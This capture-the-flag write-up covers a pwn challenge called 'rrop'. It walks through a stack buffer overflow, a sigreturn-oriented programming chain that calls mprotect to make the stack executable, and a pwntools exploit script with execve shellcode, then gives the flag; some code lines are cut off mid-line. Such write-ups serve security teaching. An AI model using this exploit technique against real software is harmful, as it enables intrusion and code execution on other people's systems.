CHALLENGE DESCRIPTION

You came this far using Solar Designer technique and advance technique, now you are into the gr4n173 world where you can't win just with fake rope/structure but here you should fake the signal which is turing complete.

IDA decompiled *MAIN* function:

```
int __cdecl main(int argc, const char **argv, const char **envp)
{
  char buf; // [rsp+0h] [rbp-D0h]
```

```
    nvm_init(*(_QWORD *)&argc, argv, envp);
    nvm_timeout();
    printf(
      "Hello pwners, it's gr4n173 wired machine.\n"
      "Can you change the behaviour of a process, if so then take my Buffer  @%p, from
      &buf);
    read(0, &buf, 0x1388uLL);
    return 0;
  }
```

there is an overflow as the input can exceed the buffer size.

There are also 2 other interesting function.
Function *eax_rax*:

```
  .text:00000000004007D8 ; =============== S U B R O U T I N E =======================
  .text:00000000004007D8
  .text:00000000004007D8 ; Attributes: bp-based frame
  .text:00000000004007D8
  .text:00000000004007D8                 public eax_rax
  .text:00000000004007D8 eax_rax         proc near
  .text:00000000004007D8 ; __unwind {
  .text:00000000004007D8                 push    rbp
  .text:00000000004007D9                 mov     rbp, rsp
  .text:00000000004007DC                 mov     eax, 0Fh
  .text:00000000004007E1                 retn
  .text:00000000004007E1 eax_rax         endp ; sp-analysis failed
```

Which is basically a gadget to set rax to 15 (0xF).
Function *useful_function*:

```
  .text:00000000004007CE ; =============== S U B R O U T I N E =======================
  .text:00000000004007CE
  .text:00000000004007CE ; Attributes: bp-based frame
  .text:00000000004007CE
  .text:00000000004007CE                 public useful_function
  .text:00000000004007CE useful_function proc near
  .text:00000000004007CE ; __unwind {
  .text:00000000004007CE                 push    rbp
  .text:00000000004007CF                 mov     rbp, rsp
  .text:00000000004007D2                 syscall                 ; LINUX -
  .text:00000000004007D4                 retn
```

Which is basically a syscall gadget.

So at this point we have all the ingredients:

- Description talk about signal --> Sigreturn-oriented programming (aka SROP)
- Buffer overflow
- Buffer start address --> one stack address to use mprotect and also the address of the buffer in which we will place shellcode
- gadget to set rax to 15 which is SIGRETURN SYSCALL NUMBER
- gadget to execute a SYSCALL

So the idea is:

- trigger the overflow injecting a shellcode to open a shell, and a signal frame to SROP
- read the buffer leaked
- execute a SROP invoking the mprotect passing the buffer address ALIGNED to pages (12 least bit must be set to 0), permission rwx (number 7), return addresss = buffer. infact from man page of mprotect: ERROR: ... EINVAL The addr argument is not a multiple of the page size as returned by sysconf().
- Mprotect will set the permission of the stack as RWX
- After the execution Mprotect will jump to the return address (which we use buffer address since our shellcode is placed there)
- the shellcode will be executed opening a shell

EXPLOIT

```
from pwn import *

context.clear(arch="amd64")
c = remote('rrop.darkarmy.xyz', 7001)
#c = process("./rrop")
pad = 216

# ENTRIES
syscall_ret = 0x00000000004007D2
mov_rax_15_ret = 0x00000000004007DC

# LEAK
c.recvuntil("@0x")
leak = int(c.recvuntil(",")[:-1], 16)
```

```
print ("Buff @ " + hex(leak))

#pause() # STOP TO ATTACH GDB
shellcode = b'\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x

# EXPLOIT
payload = shellcode # PLACING SHELLCODE IN BEGINNING OF BUFF
payload = payload.ljust(pad, b'A') # FILLING STACK TO SAVED RIP
payload += p64(mov_rax_15_ret) # SET RAX TO SIGRETURN SYSCALL NUMBER
payload += p64(syscall_ret) # CALL SIGRETURN
# BUILD FAKE FRAME
frame = SigreturnFrame(kernel="amd64") # CREATING A SIGRETURN FRAME
#frame = SigreturnFrame()
frame.rax = 10 # SET RAX TO MPROTECT SYSCALL NUMBER
frame.rdi = leak&~(0xfff) # SET RDI TO BUFF ADDRESS
frame.rsi = 2000 # SET RSI TO SIZE
frame.rdx = 7 # SET RDX => RWX PERMISSION
frame.rsp = leak + len(payload) + 248 # WHERE 248 IS SIZE OF FAKE FRAME, CAUSE WE ST
frame.rip = syscall_ret # SET RIP TO SYSCALL ADDRESS
# PLACE FAKE FRAME IN STACK
payload += bytes(frame)
payload += p64(leak) # RETURN2SHELLCODE

# SENDING
c.sendline(payload)

c.interactive()
```

FLAG

darkCTF{f1n4lly_y0u_f4k3_s1gn4l_fr4m3_4nd_w0n_gr4n173_w1r3d_m4ch1n3}